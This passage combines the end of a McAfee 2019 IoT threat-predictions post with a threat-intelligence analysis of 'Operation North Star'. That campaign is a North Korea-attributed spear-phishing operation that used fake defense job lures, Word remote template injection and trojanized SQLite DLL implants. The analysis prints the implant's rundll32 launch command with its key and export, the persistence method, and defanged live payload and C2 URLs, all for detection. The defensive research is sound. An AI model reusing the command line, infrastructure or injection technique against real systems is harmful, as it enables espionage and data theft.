Smartphones have already served as the door to a threat. In 2019, they may well become the picklock that opens a much larger door. We have already seen two threats that demonstrate what cybercriminals can do with unprotected devices, in the form of the Mirai botnet, which first struck in 2016, and IoT Reaper, in 2017. These IoT malware appeared in many variants to attack connected devices such as routers, network video recorders, and IP cameras. They expanded their reach by password cracking and exploiting known vulnerabilities to build worldwide robot networks.

Next year we expect to see two main vectors for attacking home IoT devices: routers and smartphones/ tablets. The Mirai botnet demonstrated the lack of security in routers. Infected smartphones, which can already monitor and control home devices, will become one of the top targets of cybercriminals, who will employ current and new techniques to take control.

Malware authors will take advantage of phones and tablets, those already trusted controllers, to try to take over IoT devices by password cracking and exploiting vulnerabilities. These attacks will not appear suspicious because the network traffic comes from a trusted device. The success rate of attacks will increase, and the attack routes will be difficult to identify. An infected smartphone could cause the next example of hijacking the DNS settings on a router. Vulnerabilities in mobile and cloud apps are also ripe for exploitation, with smartphones at the core of the criminals’ strategy.

Infected IoT devices will supply botnets, which can launch DDoS attacks, as well as steal personal data. The more sophisticated IoT malware will exploit voice-controlled digital assistants to hide its suspicious activities from users and home-network security software. Malicious activities such as opening doors and connecting to control servers could be triggered by user voice commands (“Play music” and “What is today’s weather?”). Soon we may hear infected IoT devices themselves exclaiming: “Assistant! Open the back door!”

Cybercriminals to Increase Attacks on Identity Platforms and Edge Devices Under Siege

Large-scale data breaches of identity platforms—which offer centralized secure authentication and authorization of users, devices, and services across IT environments—have been well documented in 2018. Meanwhile, the captured data is being reused to cause further misery for its victims. In 2019, we expect to see large-scale social media platforms implement additional measures to protect customer information. However, as the platforms grow in numbers, we predict criminals will further focus their resources on such attractive, data-rich environments. The struggle between criminals and big-scale platforms will be the next big battleground.

Triton, malware that attacks industrial control systems (ICS), has demonstrated the capabilities of adversaries to remotely target manufacturing environments through their adjacent IT environments. Identity platform and “edge device” breaches will provide the keys to adversaries to launch future remote ICS attacks due to static password use across environments and constrained edge devices, which lack secure system requirements due to design limitations. (An edge device is any network-enabled system hardware or protocol within an IoT product.) We expect multifactor authentication and identity intelligence will become the best methods to provide security in this escalating battle. We also predict identity intelligence will complement multifactor authentication to strengthen the capabilities of identity platforms.

Identity is a fundamental component in securing IoT. In these ecosystems, devices and services must securely identify trusted devices so that they can ignore the rest. The identity model has shifted from user centric in traditional IT systems to machine centric for IoT systems. Unfortunately, due to the integration of operational technology and insecure “edge device” design, the IoT trust model is built on a weak foundation of assumed trust and perimeter-based security.

At Black Hat USA and DEF CON 2018, 30 talks discussed IoT edge device exploitation. That’s a large increase from just 19 talks on the topic in 2017. The increase in interest was primarily in relation to ICS, consumer, medical, and “smart city” verticals. (See Figure 1.) Smart edge devices, combined with high-speed connectivity, are enabling IoT ecosystems, but the rate at which they are advancing is compromising the security of these systems.

Figure 1: The number of conference sessions on the security of IoT devices has increased, matching the growing threat to poorly protected devices. 

Most IoT edge devices provide no self-defense (isolating critical functions, memory protection, firmware protection, least privileges, or security by default) so one successful exploit owns the device. IoT edge devices also suffer from “break once, run everywhere” attacks—due to insecure components used across many device types and verticals. (See articles on WingOS and reverse engineering.)

McAfee Advanced Threat Research team engineers have demonstrated how medical device protocols can be exploited to endanger human life and compromise patients’ privacy due to assumed trust. These examples illustrate just a few of many possible scenarios that lead us to believe adversaries will choose IoT edge devices as the path of least resistance to achieve their objectives. Servers have been hardened over the last decade, but IoT hardware is far behind. By understanding an adversary’s motives and opportunities (attack surface and access capability), we can define a set of security requirements independent of a specific attack vector.

Figure 2 gives a breakdown of the types of vulnerabilities in IoT edge devices, highlighting weak points to address by building identity and integrity capabilities into edge hardware to ensure these devices can deflect attacks.

Figure 2: Insecure protocols are the primary attack surface in IoT edge devices.

IoT security must begin on the edge with a zero-trust model and provide a hardware root of trust as the core building block for protecting against hack and shack attacks and other threats. McAfee predicts an increase in compromises on identity platforms and IoT edge devices in 2019 due to the adoption of smart cities and increased ICS activity.

The post McAfee Labs 2019 Threats Predictions Report appeared first on McAfee Blogs.

Operation (노스 스타) North Star A Job Offer That’s Too Good to be True?

30 July 2020 at 04:14

Executive Summary

We are in the midst of an economic slump [1], with more candidates than there are jobs, something that has been leveraged by malicious actors to lure unwitting victims into opening documents laden with malware. While the prevalence of attacks during this unprecedented time has been largely carried out by low-level fraudsters, the more capable threat actors have also used this crisis as an opportunity to hide in plain sight.

One such example is a campaign that McAfee Advanced Threat Research (ATR) observed as an increase in malicious cyber activity targeting the Aerospace & Defense industry. In this 2020 campaign McAfee ATR discovered a series of malicious documents containing job postings taken from leading defense contractors to be used as lures, in a very targeted fashion. These malicious documents were intended to be sent to victims in order to install a data gathering implant. The victimology of these campaigns is not clear at this time, however based on the job descriptions, they appear to be targeting people with skills and experience relating to the content in the lure documents. The campaign appears to be similar to activity reported elsewhere by the industry, however upon further analysis the implants and lure documents in this campaign are distinctly different [2], thus we can conclude this research is part of a different activity set. This campaign is utilizing compromised infrastructure from multiple European countries to host its command and control infrastructure and distribute implants to the victims it targets.

This type of campaign has appeared before in 2017 and 2019 using similar methods with the goal of gathering intelligence surrounding key military and defense technologies [3]. The 2017 campaign also used lure documents with job postings from leading defense contractors; this operation was targeting individuals employed by defense contractors used in the lures. Based on some of the insight gained from spear phishing emails, the mission of that campaign was to gather data around certain projects being developed by their employers.

The Techniques, Tactics and Procedures (TTPs) of the 2020 activity are very similar to those previous campaigns operating under the same modus operandi that we observed in 2017 and 2019. From our analysis, this appears a continuation of the 2019 campaign, given numerous similarities observed. These similarities are present in both the Visual Basic code used to execute the implant and some of the core functionality that exists between the 2019 and 2020 implants.

Thus, the indicators from the 2020 campaign point to previous activity from 2017 and 2019 that was previously attributed to the threat actor group known as Hidden Cobra [4]. Hidden Cobra is an umbrella term used to refer to threat groups attributed to North Korea by the U.S Government [1]. Hidden Cobra consists of threat activity from groups the industry labels as Lazarus, Kimsuky, KONNI and APT37. The cyber offensive programs attributed to these groups, targeting organizations around the world, have been documented for years. Their goals have ranged from gathering data around military technologies to crypto currency theft from leading exchanges.

Our analysis indicates that one of the purposes of the activity in 2020 was to install data gathering implants on victims’ machines. These DLL implants were intended to gather basic information from the victims’ machines with the purpose of victim identification. The data collected from the target machine could be useful in classifying the value of the target. McAfee ATR noticed several different types of implants were used by the adversary in the 2020 campaigns.

These campaigns impact the security of South Korea and foreign nations with malicious cyber campaigns. In this blog McAfee ATR analyzes multiple campaigns conducted in the first part of 2020.

Finally, we see the adversary expanding the false job recruitment campaign to other sectors outside of defense and aerospace, such as a document masquerading as a finance position for a leading animation studio.

In this blog we will cover:

Target of Interest – Defense & Aerospace Campaign

This is not the first time that we have observed threat actors using the defense and aerospace industry as lures in malicious documents. In 2017 and 2019, there were efforts to send malicious documents to targets that contained job postings for positions at leading defense contractors3

The objective of these campaigns was to gather information on specific programs and technologies. Like the 2017 campaign, the 2020 campaign also utilized legitimate job postings from several leading defense and aerospace organizations. In the 2020 campaign that McAfee ATR observed, some of the same defense contractors from the 2017 operation were again used as lures in malicious documents.

This new activity noted in 2020 uses similar Techniques, Tactics and Procedures (TTPs) to those seen in a 2017 campaign that targeted individuals in the Defense Industrial Base (DIB). The 2017 activity was included in an indictment by the US government and attributed to the Hidden Cobra threat group4

Attack Overview

 

Phase One: Initial Contact

This recent campaign used malicious documents to install malware on the targeted system using a template injection attack. This technique allows a weaponized document to download an external Word template containing macros that will be executed. This is a known trick used to bypass static malicious document analysis, as well as detection, as the macros are embedded in the downloaded template.

Further, these malicious Word documents contained content related to legitimate jobs at these leading defense contractors. All three organizations have active defense contracts of varying size and scope with the US government.

The timeline for these documents, that were sent to an unknown number of targets, ran between 31 March and 18 May 2020.

Document creation timeline

Malign documents were the main entry point for introducing malicious code into the victim’s environment. These documents contained job descriptions from defense, aerospace and other sectors as a lure. The objective would be to send these documents to a victim’s email with the intention they open, view and ultimately execute the payload.

As we mentioned, the adversary used a technique called template injection. When a document contains the .docx extension, in our case, it means that we are dealing with the Open Office XML standard. A .docx file is a zip file containing multiple parts. Using the template injection technique, the adversary puts a link towards the template file in one of the .XML files, for example the link is in settings.xml.rels while the external oleobject load is in document.xml.rels. The link will load a template file (DOTM) from a remote server. This is a clever technique we observe being used by multiple adversaries [5] and is intended to make a document appear to be clean initially, only to subsequently load malware. Some of these template files are renamed as JPEG files when hosted on a remote server to avoid any suspicion and bypass detection. These template files contain Visual Basic macro code, that will load a DLL implant onto the victim’s system. Current McAfee technologies currently protect against this threat.

We mentioned earlier that docx files (like xlsx and pptx) are part of the OOXML standard. The document defining this standard[6], describes the syntax and values that can be used as an  example. An interesting file to look at is the ‘settings.xml’ file that can be discovered in the ‘Word’ container of the docx zip file. This file contains settings with regards to language, markup and more. First, we extracted all the data from the settings.xml files and started to compare. All the documents below contained the same language values:

w:val=”en-US”
w:eastAsia=”ko-KR”

The XML file ends with a GUID value that starts with the value “w15”.

Example: w15:val=”{932E534D-8C12-4996-B261-816995D50C69}”/></w:settings>

According to the Microsoft documentation, w15 defines the PersistentDocumentId Class. When the object is serialized out as xml, its qualified name is w15:docId. The 128-bit GUID is set as an ST_Guid attribute which, according to the Microsoft documentation, refers to a unique token. The used class generates a GUID for use as the DocID and generates the associated key. The client stores the GUID in that structure and persists in the doc file. If, for example, we would create a document and would “Save As”, the w15:docId GUID would persist across to the newly created document. What would that mean for our list above? Documents with the same GUID value need to be placed in chronological order and then we can state the earliest document is the root for the rest, for example:

What we can say from above table is that ‘_IFG_536R.docx” was the first document we observed and that later documents with the same docID value were created from the same base document.

To add to this assertion; in the settings.xml file the value “rsid” (Revision Identifier for Style Definition) can be found. According to Microsoft’s documentation: “This element specifies a unique four-digit number which shall be used to determine the editing session in which this style definition was last modified. This value shall follow this following constraint: All document elements which specify the same rsid* values shall correspond to changes made during the same editing session. An editing session is defined as the period of editing which takes place between any two subsequent save actions.”

Let’s start with the rsid element values from “*_IFG_536R.docx”:

And compare with the rsid element values from “*_PMS.docx”:

The rsid elements are identical for the first four editing sessions for both documents. This indicates that these documents, although they are now separate, originated from the same document.

Digging into more values and metadata (we are aware they can be manipulated), we created the following overview in chronological order based on the creation date:

When we zoom in on the DocID “932E534d(..) we read the value of a template file in the XML code: “Single spaced (blank).dotx” – this template name seems to be used by multiple “Author” names. The revision number indicates the possible changes in the document.

Note: the documents in the table with “No DocID” were the “dotm” files containing the macros/payload.

All files were created with Word 2016 and had both the English and Korean languages installed. This analysis into the metadata indicates that there is a high confidence that the malicious documents were created from a common root document.

Document Templates

There were several documents flagged as non-malicious discovered during our investigation. At first glance they did not seem important or related at all, but deeper investigation revealed how they were connected. These documents played a role in building the final malicious documents that ultimately got sent to the victims. Further analysis of these documents, based on metadata information, indicated that they contained relationships to the primary documents created by the adversary.

Two PDF files (***_SPE_LEOS and ***_HPC_SE) with aerospace & defense industry themed images, created via the Microsoft Print to PDF service, were submitted along with ***_ECS_EPM.docx. The naming convention of these PDF files was very similar to the malicious documents used. The name includes abbreviations for positions at the defense contractor much like the malicious documents. The Microsoft Print to PDF service enables content from a Microsoft Word document be printed to PDF directly. In this case these two PDF files were generated from an original Microsoft Word document with the author ‘HOME’. The author ‘HOME’ appeared in multiple malicious documents containing job descriptions related to aerospace, defense and the entertainment industry. The PDFs were discovered in an archive file indicating that LinkedIn may have been a possible vector utilized by the adversaries to target victims. This is a similar vector as to what has been observed in a campaign reported by industry[7], however as mentioned earlier the research covered in this blog is part of a different activity set.

Metadata from PDF file submitted with ***_ECS_EPM.docx in archive with context fake LinkedIn

Visual Basic Macro Code

Digging into the remote template files reveals some additional insight concerning the structure of the macro code. The second stage remote document template files contain Visual Basic macro code designed to extract a double base64 encoded DLL implant. The content is all encoded in UserForm1 in the remote DOTM file that is extracted by the macro code.

Macro code (17.dotm) for extracting embedded DLL

Further, the code will also extract the embedded decoy document (a clean document containing the job description) to display to the victim.

Code (17.dotm) to extract clean decoy document

Macro code (******_dds_log.jpg) executed upon auto execution

Phase Two: Dropping Malicious DLLs

The adversary used malicious DLL files, delivered through stage 2 malicious documents, to spy on targets. Those malicious documents were designed to drop DLL implants on the victim’s machine to collect initial intelligence. In this campaign the adversary was utilizing patched SQL Lite DLLs to gather basic information from its targets. These DLLs were modified to include malicious code to be executed on the victim’s machine when they’re invoked under certain circumstances. The purpose of these DLLs is/was to gather machine information from infected victims that could be used to further identify more interesting targets.

The first stage document sent to targeted victims contained an embedded link that downloaded the remote document template.

Embedded link contained within Word/_rels/settings.xml.rels

The DOTM (Office template filetype) files are responsible for loading the patched DLLs onto the victim’s machine to collect and gather data. These DOTM files are created with DLL files  encoded directly into the structure of the file. These DOTM files exist on remote servers compromised by the adversary; the first stage document contains an embedded link that refers to the location of this file. When the victim opens the document, the remote DOTM file that contains a Visual Basic macro code to load malicious DLLs, is loaded. Based on our analysis, these DLLs were first seen on 20 April 2020 and, to our knowledge based on age and prevalence data, these implants have been customized for this attack.

The workflow of the attack can be represented by the following image:

To identify the malicious DLLs that will load or download the final implant, we extracted from the Office files found in the triage phase, the following DLL files:

SHA256 Original File name Compile Date
bff4d04caeaf8472283906765df34421d657bd631f5562c902e82a3a0177d114

 

wsuser.db 4/24/2020
b76b6bbda8703fa801898f843692ec1968e4b0c90dfae9764404c1a54abf650b

 

unknown 4/24/2020
37a3c01bb5eaf7ecbcfbfde1aab848956d782bb84445384c961edebe8d0e9969

 

onenote.db 4/01/2020
48b8486979973656a15ca902b7bb973ee5cde9a59e2f3da53c86102d48d7dad8 onenote.db 4/01/2020
 bff4d04caeaf8472283906765df34421d657bd631f5562c902e82a3a0177d114

 

wsuser.db 4/24/2020

These DLL files are patched versions from goodware libraries, like the SQLITE library found in our analysis, and are loaded via a VBScript contained within the DOTM files that loads a double Base64 encoded DLL as described in this analysis. The DLL is encoded in UserForm1 (contained within the Microsoft Word macro) and the primary macro code is responsible for extracting and decoded the DLL implant.

DOTM Document Structure

Implant DLLs encoded in UserForm1

From our analysis, we could verify how the DLLs used in the third stage were legitimate software with a malicious implant inside that would be enabled every time a specific function was called with a set of parameters.

Analyzing the sample statically, it was possible to extract the legitimate software used to store the implant, for example, one of the DLL files extracted from the DOTM files was a patched SQLITE library. If we compare the original library within the extracted DLL, we can spot lot of similarities across the two samples:

Legitimate library to the left, malicious library to the right

As mentioned, the patched DLL and the original SQLITE library share a lot of code:

Both DLLs share a lot of code internally

The first DLL stage needs certain parameters in order to be enabled and launched in the system. The macro code of the Office files we analyzed, contained part of these parameters:

Information found in the pcode of the document

The data found in the VBA macro had the following details:

  • 32-bit keys that mimic a Windows SID
    • The first parameter belongs to the decryption key used to start the malicious activity.
    • This could be chosen by the author to make the value more realistic
  • Campaign ID

DLL Workflow

The analysis of the DLL extracted from the ‘docm’ files (the 2nd stage of the infection) revealed  the existence of two types of operation for these DLLs:

DLL direct execution:

  • The DLL unpacks a new payload in the system.

Drive-by DLLs:

  • The DLL downloads a new DLL implant from a remote server delivering an additional DLL payload into the system.

For both methods, the implant starts collecting the target information and then contacts the command and control (C2) server

We focused our analysis into the DLLs files that are unpacked into the system.

Implant Analysis

The DLL implant will be executed after the user interacts by opening the Office file. As we explained, the p-code of the VBA macro contains parts of the parameters needed to execute the implant into the system.

The new DLL implant file will be unpacked (depending of the campaign ID) inside a folder inside the AppData folder of the user in execution:

C:\Users\user\AppData\Local\Microsoft\Notice\wsdts.db

The DLL file, must be launched with 5 different parameters if we want to observe the malicious connection within the C2 domain; in our analysis we observed how the DLL was launched with the following command line:

C:\Windows\System32\rundll32.exe “C:\Users\user\AppData\Local\Microsoft\Notice\wsdts.db”, sqlite3_steps S-6-81-3811-75432205-060098-6872 0 0 61 1

The required parameters to launch the malicious implant are:

Parameter number Description
1 Decryption key
2 Unused value, hardcoded in the DLL
3 Unused value, hardcoded in the DLL
4 Campaign identifier
5 Unused value, hardcoded in the DLL

 

As we explained, the implants are patched SQLITE files and that is why we could find additional functions that are used to launch the malicious implant, executing the binary with certain parameters. It is necessary to use a specific export ‘sqlite3_steps’ plus the parameters mentioned before.

Analyzing the code statically we could observe that the payload only checks 2 of these 5 parameters but all of them must be present in order to execute the implant:

sqlite malicious function

Phase Three: Network Evasion Techniques

Attackers are always trying to remain undetected in their intrusions which is why it is common to observe techniques such as mimicking the same User-Agent that is present in the system, in order to remain under the radar. Using the same User-Agent string from the victim’s web browser configurations, for example, will help avoid network-based detection systems from flagging outgoing traffic as suspicious. In this case, we observed how, through the use of the Windows API ObtainUserAgentString, the attacker obtained the User-Agent and used the value to connect to the command and control server:

If the implant cannot detect the User-Agent in the system, it will use the default Mozilla User-Agent instead:

Running the sample dynamically and intercepting the TLS traffic, we could see the connection to the command and control server:

Unfortunately, during our analysis, the C2 was not active which limited our ability for further analysis.

The data sent to the C2 channel contains the following information:

Parameter Description
C2 C2 configured for that campaign
ned Campaign identifier
key 1 AES key used to communicate with the C2
key 2 AES key used to communicate with the C2
sample identifier Sample identifier sent to the C2 server
gl Size value sent to the C2 server
hl Unknown parameter always set to 0

We could find at least 5 different campaign IDs in our analysis, which suggests that the analysis in this document is merely the tip of the iceberg:

Dotx file Campaign ID
61.dotm 0
17.dotm 17
43.dotm 43
83878C91171338902E0FE0FB97A8C47A.dotm 204
******_dds_log 100

Phase Four: Persistence

In our analysis we could observe how the adversary ensures persistence by delivering an LNK file into the startup folder

The value of this persistent LNK file is hardcoded inside every sample:

Dynamically, and through the Windows APIs NtCreateFile and NtWriteFile, the LNK is written in the startup folder. The LNK file contains the path to execute the DLL file with the required parameters.

Additional Lures: Relationship to 2020 Diplomatic and Political Campaign

Further investigation into the 2020 campaign activity revealed additional links indicating the adversary was using domestic South Korean politics as lures. The adversary created several documents in the Korean language using the same techniques as the ones seen in the defense industry lures. One notable document, with the title US-ROK Relations and Diplomatic Security in both Korean and English, appeared on 6 April 2020 with the document author JangSY.

US-ROK Relation and Diplomatic Security

The document was hosted on the file sharing site hxxps://web.opendrive.com/api/v1/download/file.json/MzBfMjA1Njc0ODhf?inline=0 and contained an embedded link referring to a remote DOTM file hosted on another file sharing site (od.lk). The BASE64 coded value MzBfMjA1Njc0ODhf is a unique identifier for the user associated with the file sharing platform od.lk.

A related document discovered with the title test.docx indicated that the adversary began testing these documents in early April 2020. This document contained the same content as the above but was designed to test the downloading of the remote template file by hosting it on a private IP address. The document that utilized pubmaterial.dotm for its remote template also made requests to the URL hxxp://saemaeul.mireene.com/skin/visit/basic/.

This domain (saemaeul.mireene.com) is connected to numerous other Korean language malicious documents that also appeared in 2020 including documents related to political or diplomatic relations. One such document (81249fe1b8869241374966335fd912c3e0e64827) was using the 21st National Assembly Election as part of the title, potentially indicating those interested in politics in South Korea were a target. For example, another document (16d421807502a0b2429160e0bd960fa57f37efc4) used the name of an individual, director Jae-chun Lee. It also shared the same metadata.

The original author of these documents was listed as Seong Jin Lee according to the embedded metadata information. However, the last modification author (Robot Karll) used by the adversary during document template creation is unique to this set of malicious documents. Further, these documents contain political lures pertaining to South Korean domestic policy that suggests that the targets of these documents also spoke Korean.

Relationship to 2019 Falsified Job Recruitment Campaign

A short-lived campaign from 2019 using India’s aerospace industry as a lure used what appears to be very similar methods to this latest campaign using the defense industry in 2020. Some of the TTPs from the 2020 campaign match that of the operation in late 2019. The activity from 2019 has also been attributed to Hidden Cobra by industry reporting.

The campaign from October 2019 also used aerospace and defense as a lure, using copies of legitimate jobs just like we observed with the 2020 campaign. However, this campaign was isolated to the Indian defense sector and from our knowledge did not expand beyond this. This document also contained a job posting for a leading aeronautics company in India; this company is focused on aerospace and defense systems. This targeting aligns with the 2020 operation and our analysis reveals that the DLLs used in this campaign were also modified SQL Lite DLLs.

Based on our analysis, several variants of the implant were created in the October 2019 timeframe, indicating the possibility of additional malicious documents.

Sha1 Compile Date File Name
f3847f5de342632f8f9e2901f16b7127472493ae 10/12/2019 MFC_dll.DLL
659c854bbdefe692ee8c52761e7a8c7ee35aa56c 10/12/2019 MFC_dll.DLL
35577959f79966b01f520e2f0283969155b8f8d7 10/12/2019 MFC_dll.DLL
975ae81997e6cd8c8a3901308d33c868f23e638f 10/12/2019 MFC_dll.DLL

 

One notable difference with the 2019 campaign is the main malicious document contained the implant payload, unlike the 2020 campaign that relied on the Microsoft Office remote template injection technique. Even though the technique is different, we did observe likenesses as we began to dissect the remote template document. There are some key similarities within the VBA code embedded in the documents. Below we see the 2019 (left) and 2020 (right) side-by-side comparison of two essential functions, that closely match each other, within the VBA code that extracts/drops/executes the payload.

VBA code of 13c47e19182454efa60890656244ee11c76b4904 (left) and acefc63a2ddbbf24157fc102c6a11d6f27cc777d (right)

The VBA macro drops the first payload of thumbnail.db at the filepath, which resembles the filepath used in 2020.

The VB code also passes the decryption key over to the DLL payload, thumbnail.db. Below you can see the code within thumbnail.db accepting those parameters.

Unpacked thumbnail.db bff1d06b9ef381166de55959d73ff93b

What is interesting is the structure in which this information is being passed over. This 2019 sample is identical to what we documented within the 2020 campaign.

Another resemblance discovered was the position of the .dll implant existing in the exact same location for both 2019 and 2020 samples; “o” field under “UserForms1”.

“o” field of 13c47e19182454efa60890656244ee11c76b4904

All 2020 .dotm IoCs contain the same .dll implant within the “o” field under “UserForms1”, however, to not overwhelm this write-up with separate screenshots, only one sample is depicted below. Here you can see the parallel between both 2019 and 2020 “o” sections.

“o” field of acefc63a2ddbbf24157fc102c6a11d6f27cc777d

Another similarity is the encoding of double base64, though in the spirit of competing hypothesis, we did want to note that other adversaries may also use this type of encoding. However, when you couple these similarities with the same lure of an Indian defense contractor, the pendulum starts to lean more to one side of a possible common author between both campaigns. This may indicate another technique being added to the adversary’s arsenal of attack vectors.

One method to keep the campaign dynamic and more difficult to detect is hosting implant code remotely. There is one disadvantage of embedding an implant within a document sent to a victim; the implant code could be detected before the document even reaches the victim’s inbox. Hosting it remotely enables the implant to be easily switched out with new capabilities without running the risk of the document being classified as malicious.

**-HAL-MANAGER.doc UserForm1 with double base64 encoded DLL

17.DOTM UserForm1 with double base64 encoded DLL from ******_DSS_SE.docx

According to a code similarity analysis, the implant embedded in **-HAL-Manager.doc contains some similarities to the implants from the 2020 campaign. However, we believe that the implant utilized in the 2019 campaign associated with **-Hal-Manager.doc may be another component. First, besides the evident similarities in the Visual Basic macro code and the method for encoding (double base64) there are some functional level similarities. The DLL file is run in a way with similar parameters.

DLL execution code **-Hal-Manager.doc implant

DLL execution code 2020 implant

Campaign Context: Victimology

The victimology is not exactly known due to the lack of spear phishing emails uncovered; however, we can obtain some insight from the analysis of telemetry information and lure document context. The lure documents contained job descriptions for engineering and project management positions in relationship to active defense contracts. The individuals receiving these documents in a targeted spear phishing campaign were likely to have an interest in the content within these lure documents, as we have observed in previous campaigns, as well as some knowledge or relationship to the defense industry.

Infrastructure Insights

Our analysis of the 2019 and 2020 campaigns reveals some interesting insight into the command and control infrastructure behind them, including domains hosted in Italy and the United States. During our investigation we observed a pattern of using legitimate domains to host command and control code. This is beneficial to the adversary as most organizations do not block trusted websites, which allows for the potential bypass of security controls. The adversary took the effort to compromise the domains prior to launching the actual campaign. Further, both 2019 and 2020 job recruitment campaigns shared the same command and control server hosted at elite4print.com.

The domain mireene.com with its various sub-domains have been used by Hidden Cobra in 2020. The domains identified to be used in various operations in 2020 falling under the domain mireene.com are:

  • saemaeul.mireene.com
  • orblog.mireene.com
  • sgmedia.mireene.com
  • vnext.mireene.com
  • nhpurumy.mireene.com
  • jmable.mireene.com
  • jmdesign.mireene.com
  • all200.mireene.com

Some of these campaigns use similar methods as the 2020 defense industry campaign:

  • Malicious document with the title European External Action Service [8]
  • Document with Korean language title 비건 미국무부 부장관 서신doc (U.S. Department of State Secretary of State Correspondence 20200302.doc).

Techniques, Tactics and Procedures (TTPS)

The TTPs of this campaign align with those of previous Hidden Cobra operations from 2017 using the same defense contractors as lures. The 2017 campaign also utilized malicious Microsoft Word documents containing job postings relating to certain technologies such as job descriptions for engineering and project management positions involving aerospace and military surveillance programs. These job descriptions are legitimate and taken directly from the defense contractor’s website. The exploitation method used in this campaign relies upon a remote Office template injection method, a technique that we have seen state actors use recently.

However, it is not uncommon to use tools such as EvilClippy to manipulate the behavior of Microsoft Office documents. For example, threat actors can use pre-built kits to manipulate clean documents and embed malicious elements; this saves time and effort. This method will generate a consistent format that can be used throughout campaigns. As a result, we have observed a consistency with how some of the malicious elements are embedded into the documents (i.e. double base64 encoded payload). Further mapping these techniques across the MITRE ATT&CK framework enables us to visualize different techniques the adversary used to exploit their victims.

MITRE ATT&CK mapping for malicious documents

These Microsoft Office templates are hosted on a command and control server and the downloaded link is embedded in the first stage malicious document.

The job postings from these lure documents are positions for work with specific US defense programs and groups:

  • F-22 Fighter Jet Program
  • Defense, Space and Security (DSS)
  • Photovoltaics for space solar cells
  • Aeronautics Integrated Fighter Group
  • Military aircraft modernization programs

Like previous operations, the adversary is using these lures to target individuals, likely posing as a recruiter or someone involved in recruitment. Some of the job postings we have observed:

  • Senior Design Engineer
  • System Engineer

Professional networks such as LinkedIn could be a place used to deliver these types of job descriptions.

Defensive Architecture Recommendations

Defeating the tactics, techniques and procedures utilized in this campaign requires a defense in depth security architecture that can prevent or detect the attack in the early stages. The key controls in this case would include the following:

  1. Threat Intelligence Research and Response Program. Its critical to keep up with the latest Adversary Campaigns targeting your specific vertical. A robust threat response process can then ensure that controls are adaptable to the TTPs and, in this case, create heightened awareness
  2. Security Awareness and Readiness Program. The attackers leveraged spear-phishing with well-crafted lures that would be very difficult to detect initially by protective technology. Well-trained and ready users, informed with the latest threat intelligence on adversary activity, are the first line of defense.
  3. End User Device Security. Adaptable endpoint security is critical to stopping this type of attack early, especially for users working from home and not behind the enterprise web proxy or other layered defensive capability. Stopping or detecting the first two stages of infection requires an endpoint security capability of identifying file-less malware, particularly malicious Office documents and persistence techniques that leverage start-up folder modification.
  4. Web Proxy. A secure web gateway is an essential part of enterprise security architecture and, in this scenario, can restrict access to malicious web sites and block access to the command and control sites.
  5. Sec Ops – Endpoint Detection and Response (EDR) can be used to detect techniques most likely in stages 1, 2 or 4. Additionally, EDR can be used to search for the initial documents and other indicators provided through threat analysis.

For further information on how McAfee Endpoint Protection and EDR can prevent or detect some of the techniques used in this campaign, especially use of malicious Office documents, please refer to these previous blogs and webinar:

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ens-10-7-rolls-back-the-curtain-on-ransomware/
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/how-to-use-mcafee-atp-to-protect-against-emotet-lemonduck-and-powerminer/
https://www.mcafee.com/enterprise/en-us/forms/gated-form.html?docID=video-6157567326001

Indicators of Compromise

SHA256 File Name
322aa22163954ff3ff017014e357b756942a2a762f1c55455c83fd594e844fdd ******_DSS_SE.docx

 

a3eca35d14b0e020444186a5faaba5997994a47af08580521f808b1bb83d6063 ******_PMS.docx

 

d1e2a9367338d185ef477acc4d91ad45f5e6a7d11936c3eb4be463ae0b119185 ***_JD_2020.docx
ecbe46ca324096fd5e35729f39fa3bda9226bbefd6286d53e61b1be56a36de5b ***_2020_JD_SDE.docx
40fbac7a241bea412734134394ca81c0090698cf0689f2b67c54aa66b7e04670 83878C91171338902E0FE0FB97A8C47A.dotm
6a3446b8a47f0ab4f536015218b22653fff8b18c595fbc5b0c09d857eba7c7a1 ******_AERO_GS.docx
df5536c254a5d9ac626dbff7525de8301729807433d377db807ce3d8bc7c3ffe **_IFG_536R.docx
1b0c82e71a53300c969da61b085c8ce623202722cf3fa2d79160dac16642303f 43.dotm
d7ef8935437d61c975feb2bd826d018373df099047c33ad7305585774a272625 17.dotm
49724ee7a6baf421ac5a2a3c93d32e796e2a33d7d75bbfc02239fc9f4e3a41e0 Senior_Design_Engineer.docx

 

66e5371c3da7dc9a80fb4c0fabfa23a30d82650c434eec86a95b6e239eccab88 61.dotm
7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971 ******_spectrolab.docx
43b6b0af744124da5147aba81a98bc7188718d5d205acf929affab016407d592 ***_ECS_EPM.docx
70f66e3131cfbda4d2b82ce9325fed79e1b3c7186bdbb5478f8cbd49b965a120 ******_dds_log.jpg
adcdbec0b92da0a39377f5ab95ffe9b6da9682faaa210abcaaa5bd51c827a9e1 21 국회의원 선거 관련.docx
dbbdcc944c4bf4baea92d1c1108e055a7ba119e97ed97f7459278f1491721d02 외교문서 관련(이재춘국장).docx

 

URLs
hxxps://www.anca-aste.it/uploads/form/02E319AF73A33547343B71D5CB1064BC.dotm
hxxp://www.elite4print.com/admin/order/batchPdfs.asp
hxxps://www.sanlorenzoyacht.com/newsl/uploads/docs/43.dotm
hxxps://www.astedams.it/uploads/template/17.dotm
hxxps://www.sanlorenzoyacht.com/newsl/uploads/docs/1.dotm
hxxps://www.anca-aste.it/uploads/form/******_jd_t034519.jpg
hxxp://saemaeul.mireene.com/skin/board/basic/bin
hxxp://saemaeul.mireene.com/skin/visit/basic/log
hxxps://web.opendrive.com/api/v1/download/file.json/MzBfMjA1Njc0ODhf?inline=0
hxxps://od.lk/d/MzBfMjA1Njc0ODdf/pubmaterial.dotm
hxxps://www.ne-ba.org/files/gallery/images/83878C91171338902E0FE0FB97A8C47A.dotm

Conclusion

In summary, ATR has been tracking a targeted campaign focusing on the aerospace and defense industries using false job descriptions. This campaign looks very similar, based on shared TTPs, with a campaign that occurred in 2017 that also targeted some of the same industry. This campaign began early April 2020 with the latest activity in mid-June. The campaign’s objective is to collect information from individuals connected to the industries in the job descriptions.

Additionally, our forensic research into the malicious documents show they were created by the same adversary, using Korean and English language systems. Further, discovery of legitimate template files used to build these documents also sheds light on some of the initial research put into the development of this campaign. While McAfee ATR has observed these techniques before, in previous campaigns in 2017 and 2019 using the same TTPs, we can conclude there has been an increase in activity in 2020.

McAfee detects these threats as

  • Trojan-FRVP!2373982CDABA
  • Generic Dropper.aou
  • Trojan-FSGY!3C6009D4D7B2
